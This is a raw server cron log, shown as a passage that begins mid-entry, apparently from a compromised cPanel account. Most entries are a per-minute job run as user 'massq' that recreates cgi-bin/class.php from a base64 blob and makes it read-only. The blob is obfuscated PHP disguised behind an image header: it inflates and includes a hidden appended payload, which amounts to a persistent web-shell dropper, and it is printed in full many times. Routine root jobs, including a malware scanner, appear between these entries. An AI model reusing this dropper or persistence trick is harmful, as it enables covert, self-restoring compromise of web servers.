kpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:43:01 server CROND[6265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:44:01 server CROND[6331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:45:01 server CROND[6400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:45:01 server CROND[6401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:45:01 server CROND[6402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:46:01 server CROND[6529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:47:01 server CROND[6599]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Apr 11 02:47:01 server CROND[6600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:47:56 server crontab[7228]: (root) LIST (root)
Apr 11 02:47:56 server crontab[7230]: (root) LIST (root)
Apr 11 02:48:01 server CROND[7334]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:48:01 server crontab[7338]: (root) LIST (root)
Apr 11 02:49:01 server CROND[7946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:50:01 server CROND[8023]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 02:50:01 server CROND[8025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:50:01 server CROND[8026]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:50:01 server CROND[8027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 02:50:01 server CROND[8028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:51:01 server CROND[8155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:52:01 server CROND[8218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:53:01 server CROND[8395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:54:01 server CROND[8480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:55:01 server CROND[8537]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:55:01 server CROND[8538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:55:01 server CROND[8539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
